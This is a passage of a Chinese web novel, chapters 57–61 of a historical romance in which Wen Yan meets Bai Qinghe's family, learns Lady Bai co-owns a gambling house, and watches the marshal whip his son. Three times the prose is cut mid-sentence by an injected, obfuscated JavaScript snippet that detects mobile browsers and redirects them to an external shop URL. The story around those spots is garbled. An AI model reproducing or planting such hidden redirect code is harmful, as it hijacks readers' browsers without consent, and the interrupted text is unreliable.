这回出声的倒不是眼前这位女荷官,而是身后不知何时冒出的另一位女子。 声音听起来有些耳熟。 温言心下思忖,偏头瞟了眼柏清河的神色,却见对方在看清发声来人的一瞬间,竟显得有些紧张。 “是你吗?”女子与柏清河对视了一眼,目光促狭,又转头看了眼站在一旁的温言,感叹道,“还真是生了副好皮囊,比柏二少爷这类的看着柔和、养眼许多。” 柏清河听着“柏二少爷”四个字,顿时咳嗽了起来。 温言不明所以对方的反应,但还是关切地拍了拍柏清河的后背:“你没事吧?” “没……没事。”柏清河很勉强地笑了一下。 “……只可惜,这眼光好像不太好啊,怎么就看上了柏二少爷这种,”女子抚脸,又叹了口气,“真不知这皇城内又有多少姑娘得泪洒闺阁了。” ……这话说得可就有点夸张太过了,且不说温言至今还只是活在这皇城小部分人的眼中,就算是真被拖到明面上去了,长得再好看也不能当饭吃,光是这无依无靠的身世背景,哪可能真有柏清河这位少爷吃香? 要说泪洒闺阁,也得是曾经追捧着柏二少爷的那群姑娘们吧。 可是这人说话归说话,怎么明里暗里地一直在针对柏清河? 温言面上不显,心里却不由得皱起了眉头。 “说得是呢,”女荷官笑眯眯地搭了腔,“夫人您是要来寻什么?直接下楼就好。” “哦,我没事,就是来帮这俩小孩儿行个方便,”女子大概也戏弄够了,毫不见外地一手一个拍了拍柏清河和温言的后背,“你直接放他俩下楼就行。” 夫人? 温言本想躲开对方拍来的手,却见柏清河跟个木头似的站着一动不动,只好也跟着挨了这一下,脑中飞速运转,终于勉强回忆起了些什么。 上回他跳入柏府,虽说是去见柏清河的,却也能听到对方那门后有两人在窃窃私语地偷听,其中一人的声音很耳熟,他瞬间便能辨认出来是望尘,可另一人是位女子,他却因为没能一睹真容,始终没敢将其对上名号。 ……直到现在。 温言这才总算是明白了过来,知道自己为什么会觉得这声音耳熟了。 58.掌柜 温言硬着头皮,在下楼途中面朝女子一拱手,恭敬地行了个礼:“柏夫人好。” “哎呀,这么快就猜出来了?”柏夫人笑吟吟地按下了温言的手,“真是个聪慧的好孩子,快放下,自家人不必拘礼数……” “……” 从神情来看,温言显然被这句话中的“自家人”三个字给噎了一瞬。 “等下,先等下,”柏清河的重点倒是跑往了另一个方向,在一旁抬手打断道,“娘,你是什么时候跟这赌坊搭上线的,我怎么从来没听您说过啊?” “呵,你没听过的事儿多了去了,”柏夫人发出了一声类似讥讽的笑声,连正眼都懒得施舍一个,“早跟你说过了,你娘我是后来才从良的,你偏不信。” 柏清河:“……” 这和刚才面对温言时的态度相比较……完全是判若两人吧! 柏清河偏过身子,面上佯装委屈,却是悄悄朝身后伸出手,想要去勾温言的小指,刚一接触,便被对方触电似的甩了开来。 “……?” 柏清河回头看去,只见温言装作若无其事地飞快扫了他一眼,可眼神分明传递着“你娘还在呢,别整这些小动作”的意思。 柏清河却哪里是个肯听话的老实性子,不让他碰,他反而起了反心,非要追着温言藏起在身后的右手不罢休,直勾了几秒才复又松开。 温言生怕这小动作真被走在前面的柏夫人发现,不敢闹出太大动静,只得由着柏清河勾了个舒坦,就此作罢。 好在柏夫人的注意力似乎正好被突然出现在阶梯口站定的一个男人给吸引了过去。 “云掌柜,里面请。” 男人看清楚来人后,恭敬地弯了下身子,朝旁边后撤一步,让出了路。 云掌柜? 这个陌生的称呼使得跟在身后的柏清河和温言都为之一愣。 柏夫人不由得扶额叹了口气:“……伍弗,不是都说过了,在外面要记得将我的身份保密么?” “云掌柜,这里不是外面,”被称作伍弗的男人一板一眼、有理有据地答道,“更何况大掌柜嘱咐过许多遍,无论您在外面是什么身份,回到这里,您永远都是这千金台的云掌柜。” “……死心眼的臭孩子。”柏夫人笑着哼了一声,回头对柏清河说道,“你也是,现在知道你娘我是什么时候跟这赌坊搭上关系的了吧?” 这可真是个“远在天边,近在眼前”的大惊吓。 柏清河被惊得几乎合不拢嘴,心念电转间,总算是明白了这到底是怎么一回事。 早年间便有传闻,说这千金台建立伊始只有一位掌柜,可随后由于种种争权夺势,千金台一度易主,直到最后权势重新回归到原主手中,却不知为何又被这原主一分为二,将其中一半分给了一位名不见经传的市井女子。 这后半段的传言过于玄乎且潦草,传了几轮,更是将这位不知名女子的身份给编排了个遍,从天上下凡遗落人间的仙女到青楼内终得赎身的妓子,柏清河自小便听过不下数十个版本,听到最后,便只当这传闻是个万万做不得真的小故事,听过便过了,半分没往脑子里去过。 毕竟任谁都不会想到,这“鼎鼎大名”的故事主人公,竟然是自己这位有事没事就爱出门云游一下的亲娘…… 说出去哪有人会信啊?! “此言差矣,并非是云掌柜搭上了千金台的关系,”伍弗直挺挺地站在一旁,像个完全看不懂眼色的木头棒子,闻言颇为认真地解释道,“大掌柜说了,没有云掌柜您就没有如今的千金台,还请您不要妄自菲薄。” 柏夫人:“……” 有没有人能来管一下这个只会说些板正大实话的臭孩子。 “好了好了,伍弗你行了啊,别再给我架高台了,”柏夫人摆了摆手,“我今日来也没什么要紧事,就是来帮家里小孩儿行个方便,说到底,还是劳烦你们了。” “云掌柜所求,千金台无所不应。” 伍弗又恭敬地行了个礼,这才将注意力转到身后两人身上。 他转头的同时,目光在温言身上逗留了一瞬,随即便移向了柏清河,问道:“柏二少爷,请问是有何事相求?” 柏清河:“……” “……” 柏夫人再次扶额,见站在一旁的温言低着头默默无言,一口气更是差点没能顺上来,直接提溜着温言的衣袖,将人领到了伍弗面前。 伍弗这时才意识到自己找错了人,道了声抱歉,有些不解地问道:“云掌柜,这位是……?” 倒也不能怪他找错了人,毕竟云掌柜口中说的是“家里小孩儿”,而云掌柜一家四口的面容自然是早已被他们记得滚瓜烂熟,这才能只凭一眼便叫出“柏二少爷”这个称呼,自然会以为对方就是自己这次的雇主。 至于温言——这个站在一旁始终静默无声的青年人,于他们而言,就跟突然从地里冒出来的竹笋似的。 若说这云掌柜莫不是突然脑子一抽,突发奇想捡了个这么大的“孩子”回家,那还真是有些令人不敢恭维。 其实就连温言自己,在被提溜出来之前,都一直以为是柏夫人误会了,她一定以为是柏清河来这赌坊有要事,才会给他们“行个方便”……总之在心下思来想去,也断然是没敢将这话里的字句往自己身上套。 “早跟你说了,去跟着阿娇学点看人的眼力见,”柏夫人有些嫌弃地说道,“年纪轻轻的,眼神还不如那路边的老大爷好使。” 伍弗像是被说得有些委屈,沉默了两秒,这才回道:“阿娇姐说她很忙,没空管我这个……小屁孩。” 这人说话还真是实事求是到了极点,连“小屁孩”这种称呼都能在转述中自己说出口。 柏夫人有些无奈地摆了摆手,没再在这个话题上纠缠。 “敢问阁下如何称呼?”伍弗这才再次转向温言,拱手问道。 “温言,温润的温,言语的言。” 温言说着,也拱手回了一礼。 “温公子,”伍弗点了点头,示意自己记住了,随后抬手指向了更深处的隔间,“里面请。” 温言向前走了一步,柏清河这才紧跟着仰头,打量起了这地下的格局来。 这一看,还真称得上是别有洞天。 这地下并不像外面的一楼大厅那般金碧辉煌,正相反,反而是油灯昏暗,映得人在其间影影绰绰,若是稍加遮挡,几乎要分辨不出原本面容。 而这个中陈设更是几乎称得上朴素,没镶那些个亮灿灿的金边,不过就是些木头桌椅——若是有识货的人前来,或许还能指着这些名贵木材说出些一二,可惜这里有的不过是些情报贩子,没人关心这么几个破桌椅 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13565331|134959||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的价值。 他们几人本就是站在阶梯口旁交谈,自然引来了其余人等的侧目,好在这里面坐着的都是些熟面孔,见柏夫人一摆手,又纷纷重新低下头去,忙起了自己的事儿。 温言见柏夫人没再有所表示,便顺从地跟着领路的伍弗往所指的隔间内走去。 柏清河抬脚便想要跟上,被柏夫人一把拦了下来。 “你跟什么跟,这隔间只能由雇主独身前往,你屁颠颠地去个什么劲儿,”柏夫人翻了个白眼,将自己这便宜儿子给推到了一边的空位坐下,“跟个没断奶的孩子似的,害不害臊。” 柏清河:“……” “你也听到了,这千金台你娘我还是说得上话的,你也不用担心了,有这花不完的闲心,还不如来跟你娘我聊聊……”柏夫人跟着坐在了对面,双手撑着下巴,笑眯眯地问道,“你和这名叫温言的如意小郎君是在哪儿、怎么认识的?认识多久了?” 柏清河:“……” 得,这是准备要开始盘问的节奏啊。 柏清河对上了他娘的视线,知道这问题是不答不行了,这才仔细思索了下,有些含糊其辞地说道:“之前在成人宴上……认识的。 ” 柏夫人循循善诱道:“然后……?” “然后……”柏清河舔了舔嘴唇,回忆在脑中转了一圈,发现这其中实在是没几件事儿能拿出来说给长辈听的,只好生硬地转了话题,“娘,你还没说你跟这千金台是怎么回事呢,竟然滴水不漏地瞒了我这么多年。” 柏夫人嘴巴一撇,发出了声意味不明的哼声。 “倒也不止是瞒了你,”柏夫人说道,“其实这事儿也就你爹知道,你哥到现在都还没听说过呢,你等下回家后说话记得瞒着他点,可千万别说漏了嘴啊。” 柏清河:“……” “哎呀,毕竟我都已经从良了这么久了,”柏夫人眨了眨眼,“英雄不提当年勇嘛。” ……得,还真给她说出套道理来了。 两人就这么你来我往地搪塞了几句,过了一会儿,隔间的门吱呀一声被打开了。 “东西我们收下了,之后若是有消息,我们会及时送去柏府,”伍弗扶着门,“温公子慢走。” 温言一点头:“多谢。” 柏清河和柏夫人走上前来,粗略一听,便知这事儿算是成了。 柏清河不由得暗自松了口气。 “好孩子,既然事儿办完了,等下便随我们一同回柏府吃饭吧,”柏夫人笑着拍了拍温言的肩膀,根本没给对方反驳的机会,又接着说道,“小郎君我跟你说,今日柏清河他爹正好在府里,老柏做饭可好吃了,趁着机会让他多烧两道,咱们饱个口服。” “小郎君”这称呼不知怎么的,就这么被稀里糊涂地沿用了下来,可温言已经无暇关心这种小事了,一想到对方口中轻飘飘说出的话,便忍不住心惊肉跳。 他是何德何能,竟然还要让柏将军亲自来烧菜招待他! 等到时候见了面,知道了彼此身份,柏大帅能忍住不把他的腿给打折就算是不错了! 温言求助地朝后看了一眼。 柏清河两眼望天,嘴角挂着抹还没来得及收回去的笑意,表示爱莫能助。 温言:“……” 呵,要是这幸灾乐祸的表情能再收得快些,就更真了。 59.后觉 温言求助无果,柏夫人本是坐着马车来的千金台,这会儿干脆连马车也不坐了,几人就这么沿路走沿路看,好歹算是在天黑之前溜达回了柏府。 “老柏他人呢?”柏夫人一回府中,便见着了端坐在前院喝茶的柏清舟,立马笑着凑了过去,“清舟啊,瞧瞧我带谁回来了?” 柏清舟闻言抬头,正好和正不着痕迹四下张望的温言对上了视线,见后者不自觉地站直了身子,不由得微微一笑。 “爹在膳房里忙呢,”柏清舟先回答了柏夫人的问题,随后朝着温言一颔首,彬彬有礼道,“温公子,好久不见。” “柏大少爷,好久不见。”温言硬着头皮应了,莫名觉得此情此景,比自己曾经给这位大少爷当侍卫,抬头不见低头见时还要尴尬两分。 柏夫人仰头饮了杯茶水,左看看柏清舟,右看看温言,总觉得这两人的反应都不如她想象中的热烈,尤其是自己这位大儿子,平日里处变不惊也就罢了,怎么这种时候还是一副了然于胸的样子? 就好像他们老早前就已经相互见过了似的。 柏清舟不愧为玲珑心思,一瞅柏夫人那神情,心里便大概明了了个七七八八,言简意赅道:“娘,清河出城的那段时日,是这位温公子来给我当的侍卫。” 出城营救柏平昀那整件事儿的个中缘由,柏清河想必在府中早已全都说分明了,因此柏清舟只是这么顺嘴一提,柏夫人便立马回忆了起来。 “噢,”柏夫人恍然地点了点头,立马给还呆站在一旁的温言倒了杯茶,道,“好孩子,你那时候可真是帮了大忙了,肯定累坏了吧……” 温言立马上前一步,诚惶诚恐地双手接过了柏夫人递来的茶水,放矮半杯遥遥相碰,嘴上谦逊道:“不……不麻烦的。” 柏清河在后边看着好笑,他往常见着的温言可半分没现在这温驯样,虽说这人平日里话也不多,但总是话不投机便恨不得半路开呛;两人私下相处时,他更是几乎半分面子都懒得给自己留着……就着眼前这情形回想起来,那些时候的温言还真是别有一番少见外露的活人味儿。 “哎,我自己的孩子,我还能不知道么?”柏夫人撇了撇嘴,指着柏清舟道,“就他这样,平日里有点小事儿忙起来都没日没夜的,那时候还没望洋能跟在身边陪着他跑前跑后,他肯定是说了什么花言巧语,指派你去帮着查粮草疑案了吧?” “……” 还真是知子莫若母,确实被指派着跑前跑后的温言瞬间不吭声了。 “温公子昔日确实帮了我许多……” 柏清舟垂眸一笑,话音未落,另一道洪亮的声线却已然从不远处盖了过来。 “都聚在这儿聊什么呢?”柏平昀一手端着一个白瓷盘子,朝着这茶桌扬声道,“臭小子,回来了也不知道要来搭把手……” 这声“臭小子”指的是谁,不言而喻。柏平昀一嗓子喊完,仔细往这边一瞧,这才看着了个生面孔:“哟,府里来客人了怎么也不知会我一声,这位是……?” 来了。 温言整个人瞬间紧绷起来,朝柏平昀鞠了一躬道:“晚辈温言,见过柏大帅。” “嗯,柏府里不拘虚礼,随意些便好,”柏平昀找了个大桌,将手中的两盘菜肴先稳妥放下,随后才转过头来仔细打量了温言几眼,只觉得这名字越听越耳熟,忍不住多问了句,“温言……是哪两个字?” 温言低头答道:“温润的温,言语的言。” 成功在脑中将这两字对上号,柏平昀的脸色瞬间沉了下来。 地牢的事儿还历历在目,这个名叫“温言”的年轻人可真是闯了个天大的祸事,谭旭一死,万事死无对证,就连他堂堂一介元帅都被老皇帝拉着来回骂过好几次。 好在他们之前总算是上山找回了些粮草,弥补了一部分损失,否则还真不知道该如何交差才是。 这人刚出地牢就敢来柏府做客,可见也真是个胆子大的。 柏平昀皱着眉,心念电转,面上见柏清河这浑小子眼神跟没处放似的,没两秒就要瞟这青年人一次,活像是黏住了撕不下来的狗皮膏药,更是气不打一处来……只是就这么气着,还真给他气明白了不少事儿。 难怪这个平常帮他哥忙点事儿就溜得比兔子还快的小崽子这段时日对去巡检司倒是热衷得很。 原来症结在这儿呢。 他原来怎么没发现,自己这儿子是个这般粘人的货色……好兄弟之间,就算是再亲近,也断然没这每分每秒都巴望的道理啊。 柏平昀半分没觉得是自己想偏了,有些恨铁不成钢地瞪了柏清河一眼。 柏清河脊背一凉,下意识就想扯个由头,拽着温言往后厨溜:“爹,娘,那什么……我俩去看看后厨还有什么菜没端来的……” 柏夫人看好戏似的左右瞧瞧,心下暗笑:都没敢叫“臭老头”,看来臭小子这回是真有点慌了。 只可惜,柏清河这边话头刚起,就被柏平昀一抬手给打住了。 “既然来了,那便是客,没规矩的臭小子,哪有让客人去亲自动手的道理?”柏平昀皱着眉呵斥道,“你去把剩下的两道一齐端来,随后便开饭吧。” 坏了,这是要把他给支开的节奏啊。 柏清河心下警铃大作,面上却又无法拒绝,只好将手背在身后,轻轻捏了下温言的手,示意他别紧张,这才在自家臭老头子的眼刀下飞快跑开了。 成功将人支走后,柏平昀的视线又落回到了温言身上。 地牢之事在皇城内闹得沸沸扬扬,柏平昀就算是想要从中抽离,置身事外,也免不了将整件事的始末给了解了个大概——除去一些只有巡检司内部才会知道的消息,他也算是将这事儿给听过了个六七遍。 甚至就连最终是太子担保温言出的地牢,柏平昀也是知晓的。 本朝最大的好事儿,便是几乎没有什么所谓的党派之争——老皇帝膝下总共只有三个儿子,没有女儿,算得上子嗣稀少,与此同时,太子殿下,也就是大皇子,本就是个难得一见的,能文能武且精于算计的人才。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13579922|134959||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 相比之下,二皇子实在是个扶不上墙的阿斗,无甚可圈可点之处,下注于他,还不如多给太子殿下卖点好来得划算——想必其他为臣多年的要官自然也有这种分辨能力。 如此一来,事态便可以称得上明了——大家既然都想让太子即位,那便都是一根绳上的蚂蚱,虽说背地里尔虞我诈的小争小斗永远免不了,可真闹出个这么大的事儿,就属实没有必要了。 因此“温言”这个人,和他背后牵扯出的势力几乎就像是莫名其妙窜出来的一样,将这原本明朗的时局搅了个乱,叫人分辨不出他们的立场。 可分辨不出的立场,本身便对应着一种敌对立场。 即使太子似乎已经将这股势力收入了麾下,愿意出面担保温言;即使柏平昀对自家儿子看人的眼光还算得上信任,可此事事关重大,他仍旧认为,还是多留个心眼比较好。 “温言,坐,”柏平昀面上勉强露出了个笑模样,让温言落座在他对面的位置上,开口问道,“我听清舟说,你曾经给他当过一段时间的侍卫?” 温言果断地点了点头:“是。” 见这青年人回答得爽快,柏平昀又问道:“那你原本的差事是……?” 这话问得还算是比较含蓄。 温言想了想,觉得这话可编可不编,最终还是迎着柏平昀的目光如实答了:“原本……算是个影卫吧,现在不是了。” 柏平昀的眉头又皱了起来,他正要再说些什么,背后却传来了一阵呼喝。 “爹!你别趁着我不在欺负人!” 柏清河的余音飘散在院中,还没散完全,他人又跟阵风似的,已经摆好菜跑回来准备给温言撑腰了。 柏夫人看着好笑,抬手拍了拍柏平昀的膝盖:“行了,老柏,没见人跟护着宝贝眼珠子似的么,要是再多说两句,你都要成那恶公公了。” 温言被柏夫人那眼神看得耳热,抿着唇又不吭声了。 柏平昀明显对自家儿子这胳膊肘使劲儿往外拐的样子十分不满,也就没抽出心思去细想柏夫人话中调侃的深意,气鼓鼓地站起身,招呼着众人上了饭桌。 “温言,来,多出点这个,补身体的,”柏夫人热情地给温言夹了好几筷子好菜,“要是还有什么想吃的尽管说,明天就让下人去买了来烧……” “嗯,谢谢柏夫人。”温言拘谨地点了下头。 柏平昀眉头瞬间一紧,他本以为温言只是来吃个家常便饭就走,可现在听自家夫人这语气,此人倒像是还得在这住一晚上。 那不管怎么说,礼仪上也是断不能怠慢的,于是他侧头问道:“客房已经让下人收拾出来了吗?” 柏夫人深呼吸一口气,总算是憋住了冒到嗓子眼的一声闷笑。 “什么客房,”柏清河低头扒饭,还不让在这时候插一句嘴,“温言晚上就住我房里啊。” 从没听说过谁家好兄弟关系好到晚上要睡一张床榻的柏平昀,这下终于是后知后觉,发现这事儿有些不对劲了。 柏平昀:“……” 60.家法 温言偷摸瞧着柏平昀那逐渐变黑的脸色,头越埋越低,恨不得能直接将脸埋到碗里去。 柏平昀心里琢磨着事儿,这顿饭自然是吃得有些食不知味,相比之下,柏夫人冲着温言又是夹菜又是添汤,就显得尤为热络了……甚至连柏清舟也主动朝温言搭了两次话,无形中向自家老爹表明了态度。 柏平昀就算再怎么迟钝,在这种轮番明示下也彻底幡然醒悟了过来:莫非这事儿从始至终,被蒙在鼓里的就只有自己一人?! ……与之相比,就连发现这段关系后的震惊情绪都得屈居次位了。 “柏清河,”柏平昀放下了碗筷,沉着嗓子道,“等下吃好了饭,来我院里一趟。” 这话里的语气夹杂着怒意,温言听着,放在桌面上的手不由自主地缩成了拳,看上去似乎比柏清河还要更紧张两分——被点名的本人倒是嘴里嚼着饭,轻飘飘地点了下头,便算是应了。 柏平昀“哼”了一声,甩手率先下了饭桌。 柏夫人若有所思地扫了眼柏平昀离开的背影,转回头朝着温言温和地笑笑:“没事儿,老柏他这人就是这样,刀子嘴豆腐心的,等下让清河去跟他说开了就好了。” 温言有些勉强地笑了笑。 “臭老头就是思想还没跟上步伐,”柏清河仰头喝了口热汤,“想要传宗接代这不是还有我哥呢吗……” “多谢抬举,可千万别把我扯进去。”柏清舟立马抬手叫停,看得出来对这事儿敬谢不敏。 等众人全都吃好了饭,柏夫人找来下人将碗筷收拾干净,柏清河本想让望尘先带着温言去自己院里坐着等会儿,却被柏清舟先一步将人给截了胡。 于是温言同柏清河知会了一声,便推着柏清舟的轮椅去了相反的方向。 “地牢的事儿,我也算是略有耳闻,”柏清舟支开了其余人,和温言有一搭没一搭地聊了两句,这才转到正题上,“太子会担保你出牢,其实我也算是从中做了个推手,但至于之后又发生了些什么,柏清河还未同我说过……日后便是一家人了,若是有什么需要帮忙的地方,你尽管提就好。” 温言轻轻笑了下,事到如今,虽然不好说是否到了正确的时机,但很多事情确实已经完全没了继续隐瞒的必要,他便索性挑了些重要的,尤其是从地牢出来后发生的事情,说给了柏清舟听。 柏清舟越听,眉头皱得越紧。 他先前便对温言背后的组织有所猜测,本以为对方会是个老谋深算的老油条,却没想到对方竟然是个年纪略小于他的青年人,并且还会使出这些路数不忌的手段——其中有些手段甚至完全是按照大户人家培养死士的方式演化而来! “药材的事丢给赌坊,应当不会有什么问题,”柏清舟曲起手指,轻点着下巴——这是他理清思路时会下意识做出的习惯性动作,“不过我也有一事不明,既然你已与那个人分道扬镳,以你的本事,未来难保不会成为他意料之中的绊脚石,他何不直接在你昏迷时了结了你,或是在你请辞时直接废去你的一身武功,以绝后患?” 柏清舟提出的这个疑问,温言之前自然也在脑中想过几回,而直到他背着老先生走出地牢,这个问题的答案便瞬间跃然纸上了。 “因为他在赌,”温言冷静地解释道,“皇城动荡,背地里做着这些勾当,觊觎着想要爬上高位的人数不胜数……我曾经给他们绝大多数人都制造过不小的麻烦,只要我还活着,就是个活的人头招牌。” “他们会费尽心思地想要杀了我这个拦路虎,而在这个过程中,任何人手的死亡都会削弱他们的势力——也就变相的达到了那个人的目的,此消彼长,反过来一样适用。” “照这么说,此前在巡检司内截杀你的那波人不过只是个开始,这事还远远没有结束。”柏清舟挑了挑眉,他到底只是个懒得入朝为官的商人,再加上这显赫的身世,皇城内哪怕暗流涌动得再多,他也鲜少会掺合进如此兴师动众的事情当中。 更何况还是被动掺合进去。 “是,他们只是反应最快的第一波,”温言点了点头,他的位置看不清柏清舟的神情,只能通过对方的语气判断,于是末了又补充道,“我一定不会连累……” “柏府每日有侍卫巡逻,大部分时候还有望洋和望尘坐镇,再不济,柏清河虽然平时看着不着调了点,但功夫是一等一没得说的。” 柏清舟大抵是猜到了温言要说什么,安抚地笑了笑,抢先一步道:“温言,在柏府,你放宽心便好。” 柏清河站在院外整理了下衣襟,又清了清嗓子,正要迈步往内走,就听见一道低沉的声音从院内响起。 “站在外面做什么,还不快滚进来。” 柏清河面上讪笑一下,加快了脚步。 柏平昀双手背在身后,站在院内,横眉冷对着走进来的柏清河,右手还握着柄被绕成圈的软鞭。 他轻咳了一声:“你和那个温言……” “就是爹你想的那样,”柏清河偷瞄着藏于身后的鞭子所露出来的边角,咽了口唾沫,“是我一直死缠烂打地追着他跑,现在才好不容易将人追到手的,爹,你就算要棒打鸳鸯能不能也稍微换个时机,要是把人给吓跑了,我又得重头再来……” “这分明就是胡闹!”柏平昀眉头一紧,出言呵斥道,“柏清河,你疯了吗!他是个男人!” “男人又怎么了……权力、地位、钱财,这些东西里随便一个都能将这全皇城的人分成三六九等,您要是将这些东西作为评判感情基石的标准,我勉强也就认了;只有这男女之别,究竟凭何能作为您评判一段感情对错的标准,我柏清河绝对不认!” 柏清河面上将这话说得铿锵有力,可其实从看到那条鞭子的一瞬间起,就知道自己今晚是免不了要被上一顿家法了。 说实话,他长到这么大,平常无论如何胡闹,都还从未见过这软鞭的真面目 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13598785|134959||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,都说未知最可怖,如今柏平昀鞭子一抖,衬得整个人威严更甚,他也就顺势跪了下来,做好了挨打的准备,只是脊背却始终挺得笔直。 正如同他自己所说的那般,就算是挨了打,也丝毫不认为自己错了。 柏平昀本就眉头紧锁,见了柏清河这死不悔改的态度,心下也不免真生了几分火气,手上动作毫不含糊,鞭子被甩出了猎猎破空声,刺破皮肉时疼痛感瞬间袭来,饶是柏清河再怎么表现得铁骨铮铮,也禁不住闷哼出了声。 两人就这么僵持着,等柏夫人赶到时,柏清河那被血浸染的后背已经快要没剩下一块好肉了。 到底是从自己身上掉下来的孩子,柏夫人光是远远看一眼便心疼得不行,直接挽起袖子,走上前去拽住了柏平昀的手臂:“老柏,你这是在干什么呀,有你这样教训孩子的吗!” 柏清河满头的冷汗顺着脸颊滑落,无声无息地滴落在衣衫上,心里却不免松了口气,知道自己的救兵总算是来了。 柏平昀被这么使劲一拽,手上动作自然也停了下来。 “你当年三番五次跑来千金台见我,说想要娶我时,不也是一无所有,门不当户不对的么,”柏夫人一把夺过柏平昀手中的鞭子,用力扔向一旁,“怎么现在人老了,心智也跟着退化了,莫非是忘了你曾经做过的荒唐事,也开始学着那些个曾经瞧不上眼的老古板,按着这些个教条来规训你儿子了?” 软鞭在地上弹了一下,以鞭柄为中心,打着转儿滚远了。 ……嚯,自己这不会是阴差阳错地“因祸得福”,还能得听一段自家爹娘的前尘恩怨往事吧。 柏清河垂着脑袋,背上火辣辣地刺痛着,心里颇有些苦中作乐地想道。 毕竟柏平昀虽然总是跟他你一句“臭老头”我一句“臭小子”地对喊,可平日里行事,尤其是行军打仗时,看上去还真是个顶顶规矩的人,否则也不可能在这满腹疑心病的皇帝手下爬到元帅这么高的位置上。 因此柏夫人冲出来一口一句“荒唐事”,还真让柏清河不免有些好奇,就他爹这种人,年轻时能荒唐到哪儿去?莫非也是个整日在皇城里花天酒地、寻欢作乐的风流之辈? 柏平昀被这么呛声了一通,完全没有能插上嘴的地方,只好闷声不吭地挨了这数落,正要开口再辩驳些什么,柏夫人却又是一瞪眼。 “还有你柏清河,跪在那儿跟个傻子似的挨什么打,平常该听话的时候怎么没见你这么听话过,”柏夫人说话时本还冷着脸,一转头看到柏清河那被血染红的衣襟,声调又不免放柔了些,“现在这里没你事儿了,回你自己屋里去。” 柏清河顿时如蒙大赦般从地上爬了起来,他跪得久,再加上后背的伤势,难免有些腿软,前几步走得一瘸一拐,耳边听着背后传来的说话动静,哪怕有再多的好奇心,也始终没敢回头,生怕在这种情况下惹祸上身,只好真就这么老老实实地,一路回了自己的院子。 61.疼痛 温言送完了柏清舟,便早早被望尘领着回到了柏清河的院中,他难得在这种等待中体会到了一丝焦躁与煎熬,幸好望尘的性格随了正主,也是个叽叽喳喳的碎嘴子,硬是坐在旁边坎天说地,自顾自地闲扯了一大通,温言听着,时不时点下头,又或是回一两句,也算是勉强分散了点注意力。 就这么点小回应,却显然给了望尘不小的动力——毕竟平日里若是他在柏清河耳边这么叨叨,指定已经被送了句“有多远滚多远”了,难得遇到个这么捧场的听众,自然是越说越起劲,甚至连柏清河跨过门槛的动静都没能发觉。 而温言落座的位置正好对着院门,他心下不安,下意识便会时不时抬眼朝着门口张望两下,如今总算是见到了柏清河姗姗来迟的身影,瞬间从座位上站起身,向前迎了过去。 他的观察力何其敏锐,一眼便注意到了柏清河走路姿势的异样和衣襟上成片的血迹,也就瞬间猜到了柏清河这一趟去得肯定不怎么顺利。 虽说这份不顺利算得上是意料之中的结果,温言却也免不了有些失落。 柏清河本想装成个没事人去宽慰温言,可瞧着对方的神情,心念电转,又觉得自己指不定已经露馅了;那反正也瞒不过了,不如索性朝着反方向努力努力。 “哎哟……” 既然心下已经有了盘算,在这撒泼耍赖的事上,柏清河的执行力还是相当高的,瞬间便虚弱地哼唧起来,瞅准了时机,整个人虚靠在温言身上,好像突然从受了皮肉之痛变成了个彻头彻尾的伤残病人,完全自理不能,非得人给扶着才好。 他这么一靠,一股无法掩盖的血腥味瞬间便飘向了温言的鼻尖,吓得人脸色都白了三分。 可温言暂且还不知道柏清河这个人形大挂件到底是伤在了何处,于是两手伸也不是收也不是,只好就这么僵硬地悬在半空,最终还是靠着柏清河自己左蹭右蹭,给放到了腰间。 虽说就这么两三下的功夫,却也足够温言咂摸清楚对方的伤势何在了,只不过到底是关心则乱,他还是忍不住开口问道:“很疼吗?” “疼啊,我爹那臭老头这回可是发大火了,我整个后背都快要被他那鞭子抽得没一块好肉了,”柏清河憋着嘴,可怜兮兮地趴伏在温言耳边说道,“你说这可怎么办才好,接下来最少也得修养个十天半月的,万一到时候落了个残废……” “别瞎说这些。”温言皱着眉,抬手捂住了柏清河的嘴。 柏大帅会发火,其实完全在温言的意料之中——试想,自己含辛茹苦养出来的接班人,好不容易脱离了皇城内花天酒地的声色场,有了点正形,转头却又带了个不知道从哪儿冒出来的野男人回家,这种事放在哪个父亲身上,只怕都是接受不来的。 只是温言怎么也想不到,柏清河说让他住在柏府,这还没能住过头一个晚上呢,闹剧竟然会发生得这般快。 温言看着柏清河身上那被血浸染的衣衫,几乎已经可以想象得出底下该是怎样血肉模糊的景象,心里说不上来的心疼,几乎都要有些后悔起来——要是早知道会有这么一出,哪怕柏清河再怎么软磨硬泡,哪怕柏夫人再怎么如火热情,他都一定会推拒掉住来柏府的事。 